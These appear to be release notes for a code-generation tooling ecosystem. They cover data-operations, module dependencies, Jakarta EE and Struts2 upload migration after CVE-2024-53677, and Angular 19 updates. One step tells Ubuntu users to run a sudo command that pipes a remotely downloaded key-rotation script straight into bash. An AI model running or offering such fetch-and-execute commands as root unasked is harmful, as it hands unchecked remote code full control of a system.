We've moved data-operations out of its experimental phase. This means it can now be adopted by any project which may need it. They are a successor to data-commands which means you can decide to migrate data-commands which undoubtedly have many uses throughout your application.

You can get started by adding the bundle:

<expansionResources>
  <expansionResource name="net.democritus:data-operations-bundle" version="1.1.0"/>
</expansionResources>

Please note data-commands will not be deprecated and can remain to be used. Data-operations provide a more expressive model and improvements to the runtime so we do recommend switching, but this is not a requirement. If you want to migrate, the decision tree below will help you with deciding which type of Operation is the best replacement for a data-command.

Command Decision Tree​

Changes and improvements​

Module-metamodel support​

In this version a dependency to the module-metamodel has been added. This allows for easy declaration of dependencies between modules, which are in this case FeatureModules.

Why would you want to declare dependencies between different FeatureModules?​

For example, you have a common FeatureModule that declares some DataConnectors and another FeatureModule containing DataViews that want to reuse already declared DataConnectors. When there is no possibility to declare dependencies between them, the expansion becomes unreliable. After explicitly defining the dependencies, the expansion will always make sure that the correct resources are loaded at the right time.

In order to get this to work you should add a angularAppModules.xml file to your project.

project
├── conf
├── applications
├── angular
.   ├── angularApps
    .   ├── space-app
        .   ├── model
            .   └── space-app.xml
            .
            └── angularAppModules.xml

<programModules xmlns="https://schemas.normalizedsystems.org/xsd/modules/1">
  <modules>
    <module>
      <moduleId>featureModules::api</moduleId>
      <moduleType>angularProjects::FeatureModule</moduleType>
    </module>
    <module>
      <moduleId>featureModules::geo</moduleId>
      <moduleType>angularProjects::FeatureModule</moduleType>
      <dependencies>
        <dependency>featureModules::api</dependency>
      </dependencies>
    </module>
    <module>
      <moduleId>featureModules::transport</moduleId>
      <moduleType>angularProjects::FeatureModule</moduleType>
      <dependencies>
        <dependency>featureModules::api</dependency>
      </dependencies>
    </module>
  </modules>
</programModules>

You are not required to add all FeatureModules here, only if you want to indicate some dependencies.

See the modules-metamodel repo for more information.

If you are using our tooling with Ubuntu and your apt update command indicates that your certificate is no longer valid, you are probably using an expired copy of our signing certificate. Please update it to the current version by executing the following command:

sudo bash -c "wget -q -O - https://foundation.stars-end.net/files/rotate-keys.sh | bash <(cat) </dev/tty"

Version 9 of Expanders introduces support for Jakarta EE as part of an effort to support this across our entire ecosystem. This also marks the completion of the first phase of this migration, where the entire JEE base application stack is supported for both Java EE and Jakarta EE, including process automation.

Breaking change for Struts2​

With this release of Expanders, we support both Struts2 6.x and 7.x to match the different versions of JEE. Since Struts2 completely removed support for the fileUpload interceptor in version 7, we've now also removed it from our application stack. The reasoning behind this decision is that this interceptor was responsible for CVE-2024-53677, which has a score of 9.5 on the CVSS 4 scale. The alternative implementation using the actionFileUpload interceptor has been implemented across all of our expanders for several months now, but custom upload actions will also have to be refactored to switch to the new system. Regrettably, the impact of this change will not be visible at compile time, so care must be taking when upgrading to version 9 of Expanders.

• NIST listing: https://nvd.nist.gov/vuln/detail/CVE-2024-53677
• Sonatype article: https://www.sonatype.com/blog/cve-2024-53677-a-critical-file-upload-vulnerability-in-apache-struts2

Migration​

The migration is fairly straight-forward and is described in this migration guide from Struts2: https://struts.apache.org/core-developers/action-file-upload-interceptor

An action that handles uploads should be modified by implementing the UploadedFilesAware interface. With this interface comes a method withUploadedFiles() that should be implemented. To retain backwards compatibility with existing implementations, it is possible to set the values of existing fields in the class from this method, which were previously set dynamically by the old interceptor using reflection.

public class AssetUploader extends ActionSupport {

  private File uploadData; // the actual file
  private String uploadDataContentType; // the content type of the file
  private String uploadDataFileName; // the uploaded file name

public class AssetUploader extends ActionSupport implements UploadedFilesAware {

  private File uploadData; // the actual file
  private String uploadDataContentType; // the content type of the file
  private String uploadDataFileName; // the uploaded file name

  @Override
  public void withUploadedFiles(List<UploadedFile> uploadedFiles) {
    if (!uploadedFiles.isEmpty()) {
      final UploadedFile uploadedFile = uploadedFiles.get(0);
      this.uploadData = new File(uploadedFile.getAbsolutePath());
      this.uploadDataContentType = uploadedFile.getContentType();
      this.uploadDataFileName = uploadedFile.getOriginalName();
    }
  }

This version introduces changes to how the javascript runtime libraries are loaded. It allows us to update the glint libraries without having to release a new micro-radiant version and removes a bottleneck that prevented us from introducing new components for the plugins.

There are also various improvements to better handle errors and reduce the number of synchronization issues.

Changes and improvements​

Ln0x support​

Previously only Ln02 link fields were supported, this has been extended to the full range of Ln0x that is implemented by the chosen control layer (std-api or svc-api). This behaviour is locked behind a profile for backwards compatibility reasons:

• Std API Ln0x
• Std API yarn Ln0x
• Svc API Ln0x
• Svc API yarn Ln0x

New number field component​

A new number field component has been introduced that handles text input in the fields more gracefully. The component also implements some fraction digits validators, adding more functionality. The component is powered by an I18N number formatter that handles fraction separators and number bounds correctly. Default this is set to the locale en-GB. For Dutch formatting use nl-BE in the app.config.ts.

Changes and improvements​

• String interpolation
• Strict mode to catch errors in mapping.xml
• New list mapping syntax
• Improved stack-traces
• Support for extending the context of artifact paths, mapping files etc.

Changes and improvements​

• Artifact id has changed to mr-plugin-expanders (see migration guide below).
• Makes use of new descriptions fields on ElementClass and References to add these descriptions as hints in the plugin.

See Changelog for the full list of changes.

Changes and improvements​

Upgrade to Angular 19 and Angular Material 19​

For this release we updated all the code to Angular 19, in order to stay up to date with the releases and best practices.

Separation of QuerySearch​

QuerySearch is now an addon, instead of the default filtering implementation. Everything related to filtering in the code has been moved to separate expansionResources, namely angular-querysearch-expanders, angular-svcapi-querysearch-expanders and angular-stdapi-querysearch-expanders. When these expansionResources are not added the application will still function, however the filtering capabilities will not be present. From now on you can also add filtering implementations, e.g. finders, or provide a custom one.

Yarn support​

We provide a solution to substitute npm with yarn if wanted. This drastically improves dependencies install times. Substitute the Std API profile with Std API yarn (or Svc) in your expansionSettings.xml.

Harvest expanders​

The angular-expanders now depend on the harvest-expanders:1.0.0, this is an example of one of the first expansionResources that contains reusable expanders. These expanders and expansion steps define the gen/ext less harvesting.

New design implementation​

This version contains the new designs made for the list and details page.

Symbiotic Dependencies​

With prime-core 2025.0.0, expansion-resources can define symbiotic dependencies. These dependencies are not included automatically, but only in case a number of other expansion-resources are present. This allows expander developers to create resources that provide integration with other expander beams.